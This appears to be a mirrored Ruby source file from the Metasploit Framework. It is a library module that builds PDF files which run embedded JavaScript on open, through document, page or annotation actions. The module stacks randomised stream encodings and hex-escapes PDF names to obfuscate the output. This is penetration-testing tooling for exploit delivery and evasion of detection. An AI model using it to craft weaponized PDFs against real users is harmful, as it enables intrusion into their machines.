CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/core/exploit/pdf.rb
Views: 11623
1
# -*- coding: binary -*-
2
3
###
4
#
5
# This module provides methods for creating PDF files.
6
#
7
###
8
9
module Msf
10
module Exploit::PDF
11
12
def initialize(info = {})
13
super
14
15
register_options(
16
[
17
OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),
18
OptString.new('PDF::Method', [ true, 'Select PAGE, DOCUMENT, or ANNOTATION' , 'DOCUMENT']),
19
OptString.new('PDF::Encoder', [ true, 'Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX', 'ASCIIHEX']),
20
OptInt.new('PDF::MultiFilter', [ true, 'Stack multiple encodings n times', 1]),
21
], Msf::Exploit::PDF
22
)
23
24
# We're assuming we'll only create one pdf at a time here.
25
@xref = {}
26
@pdf = ''
27
end
28
29
##
30
#Original Filters
31
##
32
33
def ascii_hex_whitespace_encode(str)
34
return str if not datastore['PDF::Obfuscate']
35
result = ""
36
whitespace = ""
37
str.each_byte do |b|
38
result << whitespace << "%02x" % b
39
whitespace = " " * (rand(3) + 1)
40
end
41
result << ">"
42
end
43
44
##
45
#Filters from Origami parser
46
##
47
def run_length_encode(stream)
48
eod = 128
49
result = ""
50
i = 0
51
52
while i < stream.size
53
#
54
# How many identical bytes coming?
55
#
56
length = 1
57
while i+1 < stream.size and length < eod and stream[i] == stream[i+1]
58
length = length + 1
59
i = i + 1
60
end
61
62
#
63
# If more than 1, then compress them.
64
#
65
if length > 1
66
result << (257 - length).chr << stream[i,1]
67
68
#
69
# Otherwise how many different bytes to copy ?
70
#
71
else
72
j = i
73
while j+1 < stream.size and (j - i + 1) < eod and stream[j] != stream[j+1]
74
j = j + 1
75
end
76
77
length = j - i
78
result << length.chr << stream[i, length+1]
79
80
i = j
81
end
82
83
i = i + 1
84
end
85
result << eod.chr
86
end
87
88
def random_non_ascii_string(count)
89
result = ""
90
count.times do
91
result << (rand(128) + 128).chr
92
end
93
result
94
end
95
96
def ascii85_encode(stream)
97
eod = "~>"
98
i = 0
99
code = ""
100
input = stream.dup
101
102
while i < input.size do
103
104
if input.length - i < 4
105
addend = 4 - (input.length - i)
106
input << "\0" * addend
107
else
108
addend = 0
109
end
110
111
inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord)
112
outblock = ""
113
114
5.times do |p|
115
c = inblock / 85 ** (4 - p)
116
outblock << ("!"[0].ord + c).chr
117
inblock -= c * 85 ** (4 - p)
118
end
119
120
outblock = "z" if outblock == "!!!!!" and addend == 0
121
122
if addend != 0
123
outblock = outblock[0,(4 - addend) + 1]
124
end
125
126
code << outblock
127
i = i + 4
128
end
129
code << eod
130
end
131
132
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
133
def nobfu(str)
134
return str if not datastore['PDF::Obfuscate']
135
136
result = ""
137
str.scan(/./u) do |c|
138
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
139
result << "#%x" % c.unpack("C*")[0]
140
else
141
result << c
142
end
143
end
144
result
145
end
146
147
##
148
#PDF building block functions
149
##
150
def header(version = '1.5')
151
hdr = "%PDF-#{version}" << eol
152
hdr << "%" << random_non_ascii_string(4) << eol
153
hdr
154
end
155
156
def add_object(num, data)
157
@xref[num] = @pdf.length
158
@pdf << io_def(num)
159
@pdf << data
160
@pdf << endobj
161
end
162
163
def finish_pdf
164
@xref_offset = @pdf.length
165
@pdf << xref_table
166
@pdf << trailer(1)
167
@pdf << startxref
168
@pdf
169
end
170
171
def xref_table
172
id = @xref.keys.max+1
173
ret = "xref" << eol
174
ret << "0 %d" % id << eol
175
ret << "0000000000 65535 f" << eol
176
ret << (1..@xref.keys.max).map do |index|
177
if @xref.has_key?(index)
178
offset = @xref[index]
179
"%010d 00000 n" % offset << eol
180
else
181
"0000000000 00000 f" << eol
182
end
183
end.join
184
185
ret
186
end
187
188
def trailer(root_obj)
189
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
190
ret
191
end
192
193
def startxref
194
ret = "startxref" << eol
195
ret << @xref_offset.to_s << eol
196
ret << "%%EOF" << eol
197
ret
198
end
199
200
def eol
201
@eol || "\x0d\x0a"
202
end
203
204
def eol=(new_eol)
205
@eol = new_eol
206
end
207
208
def endobj
209
"endobj" << eol
210
end
211
212
def io_def(id)
213
"%d 0 obj" % id
214
end
215
216
def io_ref(id)
217
"%d 0 R" % id
218
end
219
220
##
221
#Controller function, should be entrypoint for pdf exploits
222
##
223
def create_pdf(js)
224
strFilter = ""
225
arrResults = []
226
numIterations = 0
227
arrEncodings = ['ASCII85','ASCIIHEX','FLATE','RUN']
228
arrEncodings = arrEncodings.shuffle
229
if datastore['PDF::MultiFilter'] < arrEncodings.length
230
numIterations = datastore['PDF::MultiFilter']
231
else
232
numIterations = arrEncodings.length
233
end
234
for i in (0..numIterations-1)
235
if i == 0
236
arrResults = select_encoder(js,arrEncodings[i],strFilter)
237
next
238
end
239
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
240
end
241
case datastore['PDF::Method']
242
when 'PAGE'
243
pdf_with_page_exploit(arrResults[0],arrResults[1])
244
when 'DOCUMENT'
245
pdf_with_openaction_js(arrResults[0],arrResults[1])
246
when 'ANNOTATION'
247
pdf_with_annot_js(arrResults[0],arrResults[1])
248
end
249
end
250
251
##
252
#Select an encoder and build a filter specification
253
##
254
def select_encoder(js,strEncode,strFilter)
255
case strEncode
256
when 'ASCII85'
257
js = ascii85_encode(js)
258
strFilter = "/ASCII85Decode"<<strFilter
259
when 'ASCIIHEX'
260
js = ascii_hex_whitespace_encode(js)
261
strFilter = "/ASCIIHexDecode"<<strFilter
262
when 'FLATE'
263
js = Zlib::Deflate.deflate(js)
264
strFilter = "/FlateDecode"<<strFilter
265
when 'RUN'
266
js = run_length_encode(js)
267
strFilter = "/RunLengthDecode"<<strFilter
268
end
269
return js,strFilter
270
end
271
272
##
273
#Create PDF with Page implant
274
##
275
def pdf_with_page_exploit(js,strFilter)
276
@xref = {}
277
@pdf = ''
278
279
@pdf << header
280
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
281
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
282
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
283
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
284
compressed = js
285
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
286
stream << "stream" << eol
287
stream << compressed << eol
288
stream << "endstream" << eol
289
add_object(5, stream)
290
291
finish_pdf
292
end
293
294
##
295
#Create PDF with OpenAction implant Note: doesn't carry over if
296
# you try to merge the exploit PDF with an innocuous one
297
##
298
def pdf_with_openaction_js(js,strFilter)
299
@xref = {}
300
@pdf = ''
301
302
@pdf << header
303
304
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
305
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
306
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
307
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
308
compressed = js
309
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
310
stream << "stream" << eol
311
stream << compressed << eol
312
stream << "endstream" << eol
313
add_object(5, stream)
314
315
finish_pdf
316
end
317
318
##
319
#Create PDF with a malicious annotation
320
##
321
def pdf_with_annot_js(js,strFilter)
322
@xref = {}
323
@pdf = ''
324
325
@pdf << header
326
327
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
328
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
329
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
330
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
331
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
332
compressed = js
333
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
334
stream << "stream" << eol
335
stream << compressed << eol
336
stream << "endstream" << eol
337
add_object(6, stream)
338
339
finish_pdf
340
end
341
342
end
343
end
344
345